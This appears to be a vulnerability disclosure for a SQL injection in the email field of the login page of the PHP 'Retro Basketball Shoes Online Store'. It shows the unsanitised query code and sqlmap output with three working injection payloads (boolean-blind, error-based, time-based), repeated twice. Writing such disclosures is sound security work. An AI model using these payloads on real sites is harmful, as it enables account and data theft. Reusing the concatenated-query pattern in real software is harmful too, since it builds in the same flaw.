SQL injection vulnerability exists in email parameter of /function/login.php file of Retro Basketball Shoes Online Store

Important user data or system data may be leaked and system security may be compromised

The environment is secure and the information can be used by malicious users.

When visit /index.php and it will include /function/login.php,and email parameter can do sql injection.

index.php:

```php
<?php
    include("function/login.php");
    include("function/customer_signup.php");
?>
<!DOCTYPE html>
<html>
<head>
```

/function/login.php:

```php
    {
        $email=$_POST['email'];
        $password=$_POST['password'];


            $result=$conn->query("SELECT * FROM customer WHERE email='$email' AND password='$password' ")
                or die ('cannot login' . mysqli_error());
            $row=$result->fetch_array  ();
            $run_num_rows = $result->num_rows;
```

```
sqlmap identified the following injection point(s) with a total of 428 HTTP(s) requests:
---
Parameter: email (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
    Payload: email=t' AND 8832=(SELECT (CASE WHEN (8832=8832) THEN 8832 ELSE (SELECT 7557 UNION SELECT 8970) END))-- -&login=Login&password=pwd

    Type: error-based
    Title: MySQL OR error-based - WHERE or HAVING clause (FLOOR)
    Payload: email=-1699' OR 1 GROUP BY CONCAT(0x7176707a71,(SELECT (CASE WHEN (9061=9061) THEN 1 ELSE 0 END)),0x71706a7171,FLOOR(RAND(0)*2)) HAVING MIN(0)#&login=Login&password=pwd

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: email=t' AND (SELECT 1253 FROM (SELECT(SLEEP(5)))seIJ) AND 'YJhJ'='YJhJ&login=Login&password=pwd
---
```

“

Parameter: email (POST)

Type: boolean-based blind

Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)

Payload: email=t' AND 8832=(SELECT (CASE WHEN (8832=8832) THEN 8832 ELSE (SELECT 7557 UNION SELECT 8970) END))-- -&login=Login&password=pwd

Type: error-based

Title: MySQL OR error-based - WHERE or HAVING clause (FLOOR)

Payload: email=-1699' OR 1 GROUP BY CONCAT(0x7176707a71,(SELECT (CASE WHEN (9061=9061) THEN 1 ELSE 0 END)),0x71706a7171,FLOOR(RAND(0)*2)) HAVING MIN(0)#&login=Login&password=pwd

Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Payload: email=t' AND (SELECT 1253 FROM (SELECT(SLEEP(5)))seIJ) AND 'YJhJ'='YJhJ&login=Login&password=pwd

---

“

Source Download：

https://www.campcodes.com/projects/php/retro-basketball-shoes-online-store-in-php-mysql/